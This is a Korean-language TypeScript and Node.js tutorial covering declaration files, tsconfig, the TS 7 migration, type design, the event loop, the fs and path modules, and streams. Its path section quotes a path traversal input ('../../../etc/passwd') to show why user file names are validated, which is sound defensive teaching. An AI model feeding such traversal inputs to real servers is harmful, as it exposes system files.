선언 파일 만들기

// types/legacy-lib.d.ts — 타입이 없는 라이브러리에 타입 얹기
declare module "legacy-lib" {
  export function calculate(a: number, b: number): number;
  export default class Client {
    constructor(key: string);
    send(msg: string): Promise<void>;
  }
}

// 빠른 회피 (급할 때만 — any 로 들어옵니다)
declare module "some-untyped-lib";

// 이미지·CSS import 를 타입으로 인정시키기 (프런트엔드)
declare module "*.svg" {
  const content: string;
  export default content;
}

전역 타입 확장 — 실무에서 자주 필요합니다

// types/global.d.ts

// ① 환경 변수에 타입 붙이기 (Node)
declare global {
  namespace NodeJS {
    interface ProcessEnv {
      DATABASE_URL: string;
      JWT_SECRET: string;
      NODE_ENV: "development" | "production" | "test";
    }
  }
}
process.env.DATABASE_URL;   // ✅ string 으로 자동완성
process.env.TYPO;           // ⚠ 에러 아님 — string | undefined
//   @types/node 에 [key: string] 인덱스 시그니처가 있어 오타는 못 잡습니다.
//   "선언한 키는 string 으로 확정"까지가 이 방법의 효과입니다

// ② Express Request 확장 (인증 미들웨어가 붙이는 값)
declare global {
  namespace Express {
    interface Request {
      user?: { id: number; role: string };
    }
  }
}
// 이제 req.user 가 타입으로 인식됩니다

// ③ window 확장 (브라우저)
declare global {
  interface Window { __APP_CONFIG__: { apiUrl: string }; }
}

export {};   // ★ 이 파일을 모듈로 만들기 위해 필요합니다
export {} 를 빼먹으면 동작하지 않습니다. declare global 은 모듈 파일 안에서만 유효합니다. import/export 가 하나도 없는 파일은 “전역 스크립트”로 취급되어 declare global 자체가 에러가 납니다.
타입만 있는 패키지 — @types/express 처럼 @types/ 로 시작하는 것들은 DefinitelyTyped 커뮤니티가 만든 타입입니다. 라이브러리를 설치했는데 타입 에러가 나면 npm i -D @types/그이름 을 먼저 시도해 보세요.
TS 14

tsconfig 완전정복

옵션이 100개가 넘지만 실제로 신경 쓸 것은 열 개 남짓입니다.

실무 기준 설정 TS 7

{
  "compilerOptions": {
    /* 출력 형태 */
    "target": "ES2022",              // 어떤 문법으로 내보낼지 ("es5" 는 하드 에러)
    "module": "NodeNext",            // Node 서버면 NodeNext (TS 7 기본값은 esnext)
    "moduleResolution": "NodeNext",  // module 과 짝을 맞춰야 함
    "lib": ["ES2022"],               // 브라우저면 ["ES2022","DOM"]
    "outDir": "dist",
    "rootDir": "src",                // ★ TS 7 기본값이 "./" 로 바뀌었습니다
    "sourceMap": true,               // ★ 디버깅·스택 트레이스에 필요

    /* 검사 강도 — 여기가 핵심 */
    "strict": true,                  // ★ TS 7 부터 기본값 (아래 항목들을 한 번에 켬)
    "noUncheckedIndexedAccess": true,// arr[0] 을 T|undefined 로 (강력 추천)
    "noImplicitOverride": true,      // override 키워드 강제
    "noUnusedLocals": true,          // 안 쓰는 변수 경고
    "exactOptionalPropertyTypes": false,  // 팀에 따라 (엄격하지만 번거로움)

    /* 호환 */
    "skipLibCheck": true,            // ★ 빌드 속도 크게 개선
    "forceConsistentCasingInFileNames": true,  // 대소문자 (macOS↔Linux 사고 방지)
    "resolveJsonModule": true,       // JSON import 허용
    "types": ["node"],               // ★ TS 7 기본값이 [] — 필요한 것만 적습니다

    /* 데코레이터 (Nest·TypeORM) — TS 7 에서도 계속 지원됩니다 */
    "experimentalDecorators": true,
    "emitDecoratorMetadata": true,
    // ※ 데코레이터를 쓰면 "erasableSyntaxOnly": true 는 켤 수 없습니다

    /* 경로 별칭 — baseUrl 없이, tsconfig 위치 기준 상대경로로 */
    "paths": { "@/*": ["./src/*"] }
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules", "dist"]
}
TS 7 에서 하드 에러가 된 옵션들 — baseUrl · target: "es5" · downlevelIteration · moduleResolution: node / node10 / classic / amd · module: amd / umd / systemjs · esModuleInterop: false. TS 6 에서 폐기 경고였던 것이 TS 7 에서 에러가 됐고, ignoreDeprecations 같은 안전 밸브도 없습니다. 기본값도 바뀌었습니다 — strict:true · module:esnext · types:[] · rootDir:"./" · noUncheckedSideEffectImports:true.
⚠️ TS 7.0 에는 programmatic API 가 아직 없습니다(7.1 예정). 컴파일러를 라이브러리로 불러 쓰는 도구 — typescript-eslint · ts-jest · ts-morph 와 Vue·Svelte·Astro 의 템플릿 타입 검사기 — 는 tsgo 위에서 돌지 않습니다. 이 도구를 쓰는 프로젝트라면 tsc(6.x)를 병행하거나 7.1 을 기다리세요.

strict 가 켜는 것들

옵션막아 주는 것
strictNullChecks가장 중요. null·undefined 를 아무 데나 못 넣게
noImplicitAny타입을 안 적어 any 가 되는 것
strictFunctionTypes함수 매개변수 타입의 잘못된 호환
strictPropertyInitialization클래스 필드 초기화 누락
useUnknownInCatchVariablescatch 를 any 로 받는 것
// noUncheckedIndexedAccess 를 켜면 이렇게 바뀝니다
const arr = [1, 2, 3];
const n = arr[10];        // number | undefined ★ (기본은 number)
n.toFixed();              // ❌ 에러 — 실제로 undefined 일 수 있으니까

// 번거롭지만 "배열 인덱스 접근"으로 인한 런타임 에러를 근본적으로 막습니다
const first = arr[0];
if (first !== undefined) first.toFixed();   // ✅

경로 별칭은 두 곳을 맞춰야 합니다

tsconfig.json 의 paths 는 "타입 검사"만 압니다.
실제 실행 시에는 경로를 못 찾습니다.

해결책 (하나 고르세요)
  · 번들러 사용 (Vite·tsup) → 번들러 설정에도 alias 추가
  · tsc-alias → 빌드 후 경로를 실제 상대경로로 치환
  · package.json 의 "imports" 사용 (#utils/*) → 런타임이 직접 이해 ★
  · tsx 실행기 → tsconfig paths 를 런타임에 해석 (개발용)
“개발은 되는데 빌드하면 모듈을 못 찾는다” 는 거의 항상 이 문제입니다. 가장 사고가 적은 방법은 package.json 의 imports 필드입니다 — 런타임과 타입 검사가 같은 규칙을 봅니다.

TypeScript 7 로 올리는 순서 2026-07 GA

TypeScript 7.0 은 2026-07-08 에 정식 공개됐습니다. 컴파일러를 Go 로 새로 쓴 것이 핵심이라, 같은 코드베이스에서 tsgo 가 기존 tsc 보다 8~12배 빠릅니다 (VS Code 11.9배 · Sentry 8.9배 · Bluesky 8.7배). TypeScript 6.0(2026-03-23)이 자바스크립트로 쓰인 마지막 버전이고, 6.0 은 7.0 과 같은 새 기본값을 쓰되 폐기 항목을 경고로만 알려 줍니다 — 그래서 6.0 이 7.0 으로 가는 징검다리입니다.

# ① 먼저 TS 6 으로 올려 "폐기 경고"를 전부 받아 냅니다
npm i -D typescript@6
npx tsc --noEmit                 # 경고 목록이 그대로 할 일 목록입니다

# ② 경고를 0 으로 만듭니다
#     baseUrl 제거 → paths 를 tsconfig 위치 기준 상대경로로
#     target: "es5" · downlevelIteration · moduleResolution: node → 최신 값으로
#     esModuleInterop: false 를 적어 뒀다면 그 줄을 지웁니다

# ③ 새 기본값을 tsconfig 에 "명시"합니다 (기본값이 바뀌어도 안 흔들리게)
#     rootDir · types · module 세 개가 사고가 제일 잦습니다

# ④ 아직 빌드는 바꾸지 말고, 검사만 tsgo 로 돌려 봅니다
npx tsgo --noEmit                # 결과가 tsc 와 같은지 대조

# ⑤ 결과가 같으면 그때 빌드를 옮깁니다
npm i -D typescript@7
#   "typecheck": "tsgo --noEmit"
④ 에서 멈춰야 하는 경우가 있습니다. typescript-eslint·ts-jest·ts-morph 나 Vue·Svelte·Astro 템플릿 타입 검사를 쓰고 있다면, TS 7.0 에 programmatic API 가 아직 없어 그 도구들이 돌지 않습니다(7.1 예정). 이 경우 검사만 tsgo 로, 나머지는 tsc 6.x 로 병행하는 것이 현실적인 답입니다.
tsconfig 는 네 가지 질문에 답하는 파일입니다 얼마나 엄하게? strict noUncheckedIndexed exactOptionalTypes 어떤 문법으로? target: ES2022 lib: DOM · ESNext jsx: react-jsx 모듈을 어떻게? module: ESNext moduleResolution paths · baseUrl 무엇을 내보내나? outDir · rootDir declaration noEmit (번들러 사용) strict: true 하나로 여러 검사가 함께 켜집니다 — 새 프로젝트는 무조건 기존 프로젝트라면 한 번에 켜지 말고 폴더 단위로 나눠 켜세요 — 오류 수천 개를 보면 포기하게 됩니다 번들러(Vite · esbuild)를 쓰면 tsc 는 검사만 하고 파일은 안 내보냅니다 — noEmit: true
옵션 백 개를 외울 필요는 없습니다 — 이 네 칸이 무엇을 정하는지만 알면 나머지는 찾아서 씁니다.
TS 15

실전 타입 설계

문법을 아는 것과 잘 설계하는 것은 다릅니다. 실무 패턴을 모았습니다.

① 불가능한 상태를 표현할 수 없게 만들기

불리언 조합 — 8가지 상태
type State = {
  isLoading: boolean;
  data?: User;
  error?: Error;
};
// isLoading 이면서 error 도
// 있는 상태가 "표현 가능"
// → 버그의 온상
판별 유니온 — 3가지만
type State =
  | { status: "idle" }
  | { status: "loading" }
  | { status: "success";
      data: User }
  | { status: "error";
      error: Error };
// 잘못된 조합이 불가능 ★

② 원시 타입 남용 피하기 (branded type)

// ❌ 둘 다 number — 순서를 바꿔 넣어도 통과합니다
function transfer(fromUserId: number, toAccountId: number) { }

// ✅ 브랜드를 붙여 구분
type UserId = number & { readonly __brand: "UserId" };
type AccountId = number & { readonly __brand: "AccountId" };

const toUserId = (n: number) => n as UserId;

function transfer2(from: UserId, to: AccountId) { }
transfer2(accountId, userId);   // ❌ 컴파일 에러 ★ 사고를 막습니다
돈·아이디·시간처럼 “같은 number 인데 의미가 다른 것”에 특히 효과적입니다. 금융·정산 코드에서 실제로 사고를 막아 주는 기법입니다.

③ 계층별 타입 분리

// DB 엔티티 (내부)
interface UserEntity {
  id: number; email: string; passwordHash: string;
  createdAt: Date; deletedAt: Date | null;
}

// API 응답 (외부) — ★ 엔티티를 그대로 내보내지 마세요
type UserDto = Omit<UserEntity, "passwordHash" | "deletedAt" | "createdAt"> & {
  createdAt: string;                  // 날짜는 ISO 문자열로
};
// ★ createdAt 도 Omit 에 넣어야 합니다 — 안 빼면 Date & string 이 되어
//   아래 toDto 의 toISOString() 결과를 넣을 수 없습니다

// 요청 (입력)
type CreateUserDto = Pick<UserEntity, "email"> & { password: string };

// 변환은 한 곳에서
const toDto = (e: UserEntity): UserDto => ({
  id: e.id, email: e.email, createdAt: e.createdAt.toISOString(),
});

④ 스키마에서 타입 뽑기 (요즘 표준)

import { z } from "zod";

// 한 번만 정의하면 검증과 타입이 동시에 나옵니다
export const CreateUserSchema = z.object({
  email: z.email(),
  password: z.string().min(8),
  age: z.number().int().positive().optional(),
});

export type CreateUser = z.infer<typeof CreateUserSchema>;   // ★ 타입 자동 생성

// 컨트롤러에서
const body = CreateUserSchema.parse(req.body);   // 검증 + 타입 확정
body.email;      // string 으로 안전하게
타입을 두 번 적는 순간 어긋나기 시작합니다. “타입 선언 + 검증 로직”을 따로 두면 반드시 언젠가 불일치합니다. 스키마 하나에서 파생시키는 구조로 만드세요 (🧰 도구 o07).
TS 16

타입 에러 사전

빨간 줄이 떴을 때 여기서 찾으세요. 자주 나오는 것만 모았습니다.

자주 만나는 에러

메시지원인과 해결
2322
Type X is not assignable to Y
넣으려는 타입이 안 맞음. 메시지 맨 아래 줄에 진짜 원인이 있습니다
2339
Property does not exist
없는 속성. 오타이거나 타입을 좁히지 않은 경우(t04)
2345
Argument of type…
인자 타입 불일치. 순서를 바꿔 넣었는지 확인
2532/18048
possibly undefined
null 체크가 없음. ?. 또는 if 로 좁히기
2352
Conversion may be a mistake
as 로 무리한 변환. 설계를 다시 보세요
7053
implicitly has any (index)
객체를 문자열 키로 접근. Record 또는 keyof 사용
2769
No overload matches
오버로드 중 맞는 게 없음. 각 후보의 마지막 줄을 읽으세요
// 7053 의 전형적인 경우
const colors = { red: "#f00", blue: "#00f" };
function get(key: string) {
  return colors[key];    // ❌ 7053
}
// ✅ 해결 1 — 키를 좁히기
function get2(key: keyof typeof colors) { return colors[key]; }
// ✅ 해결 2 — 사전 타입으로 선언
const colors2: Record<string, string> = { ... };

초과 속성 검사 — 헷갈리는 규칙

interface Opts { a: number }

// ❌ 객체 리터럴을 직접 넣으면 "초과 속성"을 잡습니다
const x: Opts = { a: 1, b: 2 };        // 에러 ★

// ✅ 변수를 거치면 통과합니다 (구조적 타이핑)
const tmp = { a: 1, b: 2 };
const y: Opts = tmp;                    // 통과 (놀랍게도)

// 이유: 리터럴은 "오타를 잡아 주려고" 특별히 엄격하게 봅니다.
// 변수는 "더 많은 속성이 있어도 조건은 만족한다"고 판단합니다.

에러 메시지 읽는 요령

Type '{ id: string; }' is not assignable to type 'User'.
  Types of property 'id' are incompatible.
    Type 'string' is not assignable to type 'number'.   ← ★ 여기가 진짜 원인

규칙
  · 들여쓰기가 가장 깊은 마지막 줄부터 읽으세요
  · 긴 타입은 에디터에서 해당 부분에 커서를 올려 확인
  · 라이브러리 타입 에러라면 skipLibCheck 로 일단 걸러 보기
막혔을 때 순서 — ① 중간 결과에 type _T = ... 로 이름을 붙여 호버, ② 함수를 잘게 나눠 어느 지점에서 타입이 무너지는지 좁히기, ③ 그래도 안 되면 타입을 단순하게 바꾸는 것도 정답입니다. 타입 퍼즐을 푸느라 하루를 쓰는 것이 가장 나쁜 결과입니다.
TS 17

타입 레벨 프로그래밍

타입만으로 계산하는 세계. 라이브러리를 만들 때 쓰입니다.

타입으로 하는 재귀

// 문자열 뒤집기
type Reverse<S extends string> =
  S extends `${infer H}${infer R}` ? `${Reverse<R>}${H}` : "";
type A = Reverse<"hello">;      // "olleh"

// 문자열을 구분자로 쪼개 튜플로
type Split<S extends string, D extends string> =
  S extends `${infer H}${D}${infer R}` ? [H, ...Split<R, D>] : [S];
type B = Split<"a,b,c", ",">;   // ["a", "b", "c"]

// 깊은 readonly
type DeepReadonly<T> = T extends (infer U)[]
  ? readonly DeepReadonly<U>[]
  : T extends object
    ? { readonly [K in keyof T]: DeepReadonly<T[K]> }
    : T;

// 중첩 객체의 경로 문자열 만들기 (i18n·폼 라이브러리가 쓰는 기법)
type Paths<T, P extends string = ""> = T extends object
  ? { [K in keyof T & string]:
      | (P extends "" ? K : `${P}.${K}`)
      | Paths<T[K], P extends "" ? K : `${P}.${K}`>
    }[keyof T & string]
  : never;

type C = Paths<{ user: { name: string; addr: { city: string } } }>;
// "user" | "user.name" | "user.addr" | "user.addr.city" ★

한계와 주의

제약
  · 재귀 깊이 제한 (기본 약 100, 꼬리 재귀 최적화 시 1000)
  · "Type instantiation is excessively deep" 에러를 만나게 됨
  · 타입 계산이 느려지면 에디터 자동완성이 눈에 띄게 느려짐
  · 유니온 조합이 커지면 폭발 (10 × 10 × 10 = 1000 가지)

측정
  tsc --diagnostics            # 타입 검사 시간·인스턴스 수
  tsc --generateTrace trace    # 어느 타입이 느린지 추적
업무 코드에서는 거의 필요 없습니다. 이 절의 기법은 tRPC · Prisma · react-hook-form 같은 “타입으로 개발자 경험을 만드는 라이브러리”의 영역입니다. 서비스 코드에 이런 타입이 등장하면 대개 설계를 단순화할 여지가 있다는 신호입니다.

그래도 알아 두면 좋은 이유

  • 라이브러리 타입 에러를 해석할 수 있게 됩니다 — 실무에서 이게 제일 큽니다
  • tRPC·Zod 처럼 타입이 자동으로 흘러가는 도구를 제대로 쓸 수 있습니다
  • 사내 공통 라이브러리를 만들 때 쓰는 사람이 편한 API를 설계할 수 있습니다
더 연습하고 싶다면 — type-challenges 저장소가 사실상 표준 교재입니다. easy 단계만 풀어도 유틸리티 타입의 내부 구현이 전부 이해됩니다. 이어서 🧬 전문가 탭 d12 에서 실전 적용 사례를 다룹니다.
NODE.JS 24 LTS · 서버 런타임

기다리는 일에
강하고
계산에 약하다

Node 는 스레드 하나로 수만 개의 연결을 버팁니다. DB·네트워크처럼 기다리는 작업에는 압도적으로 유리하고, 이미지 변환·암호화처럼 계산하는 작업에는 즉시 무너집니다. 이 성질을 이해하는 것이 Node 실력의 전부입니다. 여기까지 마치면 API 서버를 혼자 띄우고, 느려지거나 죽는 원인을 로그와 프로파일로 좁힐 수 있습니다.

17SECTIONS
1메인 스레드
10k+동시 연결
24LTS 기준
NODE 01

Node 런타임 구조

“싱글 스레드”라는 말은 절반만 맞습니다. 실제 구조를 봅시다.

무엇으로 이루어져 있나

JS
내 코드 (자바스크립트) 메인 스레드 하나에서만 실행됩니다. 여기가 막히면 전부 멈춥니다.
▼
V8
V8 엔진 — 자바스크립트 실행 구글이 만든 엔진. 파싱·JIT 컴파일·GC 를 담당합니다(🧬 전문가 d01).
▼
libuv
libuv — 비동기 I/O 파일·DNS·압축 같은 작업을 스레드 풀(기본 4개)에서 대신 처리합니다. 네트워크는 OS 의 비동기 기능을 그대로 씁니다.
▼
OS
운영체제 epoll(Linux)·kqueue(macOS)·IOCP(Windows) — 실제 대기를 맡습니다.
정확히 말하면 — “내 자바스크립트 코드가 도는 스레드가 하나”입니다. 파일 읽기·압축·암호화는 libuv 스레드 풀에서 병렬로 처리됩니다. UV_THREADPOOL_SIZE 환경 변수로 늘릴 수 있습니다(기본 4).

언제 Node 를 고르나

잘 맞는 일
  • API 서버 (DB 조회가 대부분)
  • 여러 API 를 모아 주는 서버 (BFF)
  • 실시간 (WebSocket·SSE·채팅)
  • 프런트와 언어를 통일하고 싶을 때
  • 빠른 프로토타이핑
안 맞는 일
  • 이미지·영상 변환 (CPU 집약)
  • 대규모 수치 계산·머신러닝
  • 수십 GB 데이터 일괄 처리
  • 정밀한 소수 계산 (금융 코어)
  • 멀티코어를 다 써야 하는 작업
“안 맞는 일”도 방법은 있습니다. worker_threads(n09)로 별도 스레드에 넘기거나, 네이티브 애드온(sharp 는 C++ 로 이미지 처리)을 쓰거나, 아예 다른 서비스로 분리하면 됩니다. 문제는 모르고 메인 스레드에서 돌릴 때 생깁니다.

버전 관리

# 2026-08 현재
#   24  Active LTS  (2026-10 까지 활성 · 2028-04 EOL)   ★ 운영 기본값
#   26  Current     (2026-10 에 LTS 승격 예정)
#   22  Maintenance (2027-04 EOL) — 신규 프로젝트에는 쓰지 마세요
#   20  EOL (2026-04) ❌
node -v

# ★ 2026-10 Node 27 부터 릴리스 정책이 바뀝니다
#   · 메이저는 매년 한 번만 · 홀짝 구분 폐지 — 모든 메이저가 LTS 로 승격
#   · 총 지원 36개월 (활성 18 + 유지보수 18)

# 버전 관리 도구 (프로젝트마다 다른 버전이 필요할 때)
nvm install 24 && nvm use 24        # 전통의 강자
fnm use 24                          # 더 빠른 대안

# 프로젝트에 버전 고정
echo "24" > .nvmrc
# package.json 에도 명시
{ "engines": { "node": ">=24" } }
Node 의 층 구조 — 내 코드가 파일에 닿기까지 내가 쓴 JS 코드 Node 표준 모듈 — fs · http · path (이것도 JS 로 쓰였습니다) C++ 바인딩 — JS 요청을 네이티브 호출로 넘기는 창구 V8 JS 를 기계어로 바꿔 실행 · 스레드 하나 libuv 이벤트 루프 · 스레드풀(기본 4) · OS I/O 운영체제 — 파일 · 소켓 · 타이머 "Node 는 싱글 스레드" 는 절반만 맞습니다 — 내 JS 가 한 스레드일 뿐, 파일 읽기는 스레드풀이 합니다 그래서 CPU 를 오래 쓰는 계산은 막히고, 파일 · 네트워크 대기는 안 막힙니다
Node 를 이해한다는 것은 결국 V8 과 libuv 의 역할을 나눠 보는 것입니다.
NODE 02

모듈 시스템 실전

문법은 🟨 JS 탭 j09 에서 다뤘습니다. 여기서는 실제로 터지는 상황을 봅니다.

ESM 프로젝트에서 자주 막히는 것

// ① __dirname 이 없다
import { fileURLToPath } from "node:url";
import { dirname, join } from "node:path";

const __filename = fileURLToPath(import.meta.url);
const __dirname  = dirname(__filename);

// ★ Node 20.11+ 부터는 더 짧게
const __dirname2 = import.meta.dirname;
const __filename2 = import.meta.filename;

// ② require 가 없다 → CJS 전용 패키지를 쓰려면
import { createRequire } from "node:module";
const require = createRequire(import.meta.url);
const legacy = require("old-cjs-package");

// ③ JSON import (Node 22+ 안정화)
import pkg from "./package.json" with { type: "json" };

// ④ 확장자를 반드시 적어야 한다
import { helper } from "./utils/helper.js";   // ★ .js 필수
// TypeScript 로 짜도 import 경로에는 .js 를 적습니다 (컴파일 결과 기준)
TS + ESM 조합에서 가장 헷갈리는 부분 — .ts 파일에서 ./helper.js 라고 적는 것이 맞습니다. 타입 검사는 helper.ts 를 찾아가고, 실행 시에는 helper.js 가 됩니다. moduleResolution: "NodeNext" 가 이 규칙을 강제합니다.

모듈 로딩 순서와 순환 참조

// a.js
import { bValue } from "./b.js";
export const aValue = "A";
console.log("a 에서 본 b:", bValue);

// b.js
import { aValue } from "./a.js";
export const bValue = "B";
console.log("b 에서 본 a:", aValue);   // ★ 여기서 터집니다

// 실행 결과 (node a.js)
//   ReferenceError: Cannot access 'aValue' before initialization
// a 가 아직 평가되지 않은 상태에서 b 가 a 를 읽었기 때문입니다
// (export const 는 초기화 전 접근이 에러입니다. CommonJS 였다면 조용히 undefined)
순환 참조 해결법
① 공통 부분을 세 번째 파일로 뽑기 (가장 깔끔)
② 타입만 필요하면 import type 으로 (컴파일 후 사라짐)
③ 함수 안에서 await import() 로 지연 로딩
madge·dpdm 같은 도구로 순환을 미리 찾아낼 수 있습니다.

내장 모듈은 node: 접두어로

import fs from "node:fs/promises";     // ✅ 권장
import fs from "fs/promises";           // 동작은 하지만

// node: 를 쓰는 이유
//  · npm 에 같은 이름의 패키지가 있어도 안전 (혼동·공격 방지)
//  · 내장 모듈임이 한눈에 보임
//  · Deno·Bun 등 다른 런타임과의 호환
NODE 03

이벤트 루프 심화

🟨 JS j10 의 확장판. Node 만의 페이즈와 실무 측정법을 다룹니다.

libuv 의 6단계 페이즈

   ┌───────────────────────────┐
┌─>│  timers                   │  setTimeout · setInterval
│  ├───────────────────────────┤
│  │  pending callbacks        │  일부 시스템 에러 콜백
│  ├───────────────────────────┤
│  │  idle, prepare            │  내부용
│  ├───────────────────────────┤     ┌────────────────┐
│  │  poll                     │<────│  들어오는 I/O   │
│  ├───────────────────────────┤     └────────────────┘
│  │  check                    │  setImmediate
│  ├───────────────────────────┤
└──┤  close callbacks          │  socket.on("close")
   └───────────────────────────┘

★ 매크로태스크 콜백이 하나 끝날 때마다 마이크로태스크 큐를
  전부 비웁니다 (process.nextTick → Promise 순서 · Node 11+)
// 이 순서가 보장되지 않는 유명한 예
setTimeout(() => console.log("timeout"), 0);
setImmediate(() => console.log("immediate"));
// 메인 모듈에서는 실행 시점에 따라 순서가 뒤바뀝니다

// 하지만 I/O 콜백 안에서는 항상 immediate 가 먼저
fs.readFile("f.txt", () => {
  setTimeout(() => console.log("timeout"), 0);
  setImmediate(() => console.log("immediate"));   // ★ 항상 이게 먼저
});
// poll 페이즈 다음이 check 페이즈이기 때문입니다

이벤트 루프 지연 측정 — 운영 필수 지표

import { monitorEventLoopDelay } from "node:perf_hooks";

const h = monitorEventLoopDelay({ resolution: 10 });
h.enable();

setInterval(() => {
  console.log({
    mean: h.mean / 1e6,        // 평균 지연 (ms)
    p99:  h.percentile(99) / 1e6,
    max:  h.max / 1e6,
  });
  h.reset();
}, 5000);

// 판단 기준
//   p99 < 10ms   정상
//   p99 > 50ms   무언가 메인 스레드를 막고 있음 ★
//   p99 > 200ms  사용자가 체감하는 수준 — 즉시 조사
이벤트 루프 지연은 Node 서버의 “혈압”입니다. CPU 사용률이 낮은데도 응답이 느리다면 거의 항상 이 지표가 답을 줍니다. Prometheus 로 내보내 알람을 걸어 두세요(🚀 대규모 트래픽 k12).

메인 스레드를 막는 흔한 코드

// ① 동기 파일 API
const data = fs.readFileSync("big.json");     // ❌ 그동안 전부 정지
// → await fs.readFile() 로

// ② 큰 JSON
JSON.parse(hugeString);                        // ❌ 50MB 면 수백 ms
// → 스트리밍 파서(stream-json) 또는 워커로

// ③ 동기 암호화
crypto.pbkdf2Sync(pw, salt, 100000, 64, "sha512");   // ❌
// → 비동기 버전 사용 (libuv 스레드 풀로 감)

// ④ 큰 배열 반복
hugeArray.map(heavyTransform);                 // ❌ 100만 건이면 수 초
// → 청크로 나눠 setImmediate 사이에 양보하거나 워커로

// 양보 패턴 (급할 때)
for (let i = 0; i < items.length; i++) {
  handleItem(items[i]);         // ★ 이름을 process 로 지으면 전역 process 를 가립니다
  if (i % 1000 === 0) await new Promise(r => setImmediate(r));   // ★ 숨통
}
이벤트 루프 한 바퀴 — 단계마다 하는 일이 정해져 있습니다 1 timers setTimeout · setInterval 중 시간이 된 콜백을 실행합니다 2 pending callbacks 미뤄 둔 시스템 오류 콜백 — 직접 볼 일은 거의 없습니다 3 poll — 서버가 실제로 머무는 곳 소켓 · 파일 읽기 완료 콜백. 할 일이 없으면 여기서 잠들어 기다립니다 4 check setImmediate 콜백 — poll 이 끝난 직후를 노릴 때 씁니다 5 close callbacks socket.on("close") 같은 정리 콜백 단계와 단계 사이마다 nextTick → 프로미스 큐를 남김없이 비웁니다 그래서 setTimeout(f, 0) 과 setImmediate(f) 의 순서는 어디서 불렀느냐에 따라 달라집니다 process.nextTick 을 재귀로 쓰면 루프가 다음 단계로 못 넘어갑니다 — 서버가 멈춘 것처럼 보입니다
지연이 튀는 원인은 대부분 어느 단계에서 오래 붙잡고 있느냐로 설명됩니다.
NODE 04

파일 · 경로

가장 많이 쓰는 내장 모듈. 동기 API 만 피하면 절반은 성공입니다.

파일 다루기

import fs from "node:fs/promises";        // ★ 항상 promises 버전
import path from "node:path";

// 읽기 · 쓰기
const text = await fs.readFile("a.txt", "utf8");   // ★ 인코딩 지정 안 하면 Buffer
await fs.writeFile("b.txt", text, "utf8");
await fs.appendFile("log.txt", line + "\n");

// JSON
const conf = JSON.parse(await fs.readFile("config.json", "utf8"));
await fs.writeFile("out.json", JSON.stringify(data, null, 2));

// 존재 확인 — ★ existsSync 대신 이 방법
try {
  await fs.access(file, fs.constants.R_OK);
} catch { /* 없거나 권한 없음 */ }

// 디렉터리
await fs.mkdir("a/b/c", { recursive: true });     // 중간 경로까지 생성
const files = await fs.readdir("dir");
const entries = await fs.readdir("dir", { withFileTypes: true });
for (const e of entries) if (e.isDirectory()) ...;

// 재귀 탐색 (Node 20+)
const all = await fs.readdir("src", { recursive: true });

// 삭제 · 이동 · 복사
await fs.rm("dir", { recursive: true, force: true });
await fs.rename("a.txt", "b.txt");
await fs.cp("src", "dst", { recursive: true });

// 정보
const st = await fs.stat("a.txt");
st.size; st.mtime; st.isFile();

경로 — 문자열로 붙이지 마세요

// ❌ 윈도우에서 깨집니다
const p = dir + "/" + name;

// ✅ 항상 path 모듈
path.join(dir, "sub", name);          // 구분자 자동
path.resolve("a", "b");               // 절대 경로로
path.dirname(p); path.basename(p); path.extname(p);
path.parse(p);                        // { dir, base, name, ext }

// 확장자 바꾸기
path.format({ ...path.parse(p), base: undefined, ext: ".png" });

// ★ 경로 검증 — 보안상 매우 중요
const safe = path.resolve(UPLOAD_DIR, userInput);
if (!safe.startsWith(path.resolve(UPLOAD_DIR) + path.sep)) {
  throw new Error("잘못된 경로");     // ../../etc/passwd 차단
}
경로 순회(Path Traversal)는 흔한 실제 취약점입니다. 사용자가 준 파일명을 그대로 path.join 하면 ../../../etc/passwd 로 서버 파일을 읽을 수 있습니다. resolve 후 시작 경로를 확인하는 습관을 들이세요.

대용량이면 스트림으로 (n05)

// ❌ 2GB 파일을 메모리에 통째로
const data = await fs.readFile("huge.csv");   // OOM

// ✅ 한 줄씩
import { createReadStream } from "node:fs";
import { createInterface } from "node:readline";
const rl = createInterface({ input: createReadStream("huge.csv") });
for await (const line of rl) { ... }
파일 감시가 필요하면 fs.watch 는 OS 마다 동작이 달라 까다롭습니다. 실무에서는 chokidar 를 쓰거나, 개발 중 재시작만 필요하면 node --watch 로 충분합니다.
NODE 05

스트림 · 버퍼

Node 의 가장 강력한 기능이자 가장 안 쓰이는 기능입니다.

왜 스트림인가

[통째로 읽기]  10GB 파일 → 메모리 10GB 필요 → 즉시 OOM
[스트림]       10GB 파일 → 64KB 씩 흘려보냄 → 메모리 수 MB

게다가 "첫 바이트가 도착하는 즉시" 처리를 시작할 수 있습니다.
파일 업로드·다운로드·CSV 처리·응답 압축이 전부 스트림입니다.

네 가지 종류

종류예
Readable파일 읽기, HTTP 요청 본문, process.stdin
Writable파일 쓰기, HTTP 응답, process.stdout
Duplex양방향 — TCP 소켓
Transform변환하며 통과 — gzip, 암호화, CSV 파싱
import { pipeline } from "node:stream/promises";
import { createReadStream, createWriteStream } from "node:fs";
import { createGzip } from "node:zlib";

// ★ pipeline 을 쓰세요 — 에러 처리와 정리를 알아서 해 줍니다
await pipeline(
  createReadStream("big.log"),
  createGzip(),
  createWriteStream("big.log.gz"),
);

// ❌ pipe 는 에러 시 스트림이 남아 메모리 누수가 됩니다
readable.pipe(gzip).pipe(writable);

직접 Transform 만들기

import { Transform } from "node:stream";

// CSV 한 줄씩 → 객체로 변환하며 필터링
const parseCsv = new Transform({
  objectMode: true,                 // ★ 객체를 흘려보낼 때 필수
  transform(chunk, enc, cb) {
    const [id, name, amount] = String(chunk).split(",");
    if (Number(amount) > 10000) {
      this.push({ id, name, amount: Number(amount) });
    }
    cb();                            // ★ 반드시 호출 (안 하면 멈춤)
  },
});

await pipeline(
  createReadStream("orders.csv"),
  splitLines,
  parseCsv,
  async function* (source) {         // 비동기 제너레이터도 됩니다
    for await (const row of source) {
      await db.insert(row);
      yield `${row.id} 처리\n`;
    }
  },
  createWriteStream("result.log"),
);
백프레셔(backpressure) — 읽는 속도가 쓰는 속도보다 빠르면 데이터가 메모리에 쌓입니다. pipeline 과 pipe 는 이것을 자동으로 조절합니다. 직접 on("data") 로 처리하면 이 보호가 사라지므로 주의하세요.

Buffer — 이진 데이터

const buf = Buffer.from("안녕", "utf8");
buf.length;                    // 6 (한글은 3바이트)
buf.toString("base64");        // "7JWI64WV"
Buffer.from(b64, "base64").toString("utf8");

// 자주 쓰는 곳
crypto.randomBytes(32).toString("hex");        // 토큰 생성
Buffer.concat([a, b]);                          // 청크 합치기

// ⚠️ 한글을 청크 경계에서 자르면 깨집니다
// → StringDecoder 를 쓰거나 스트림에 인코딩을 지정하세요
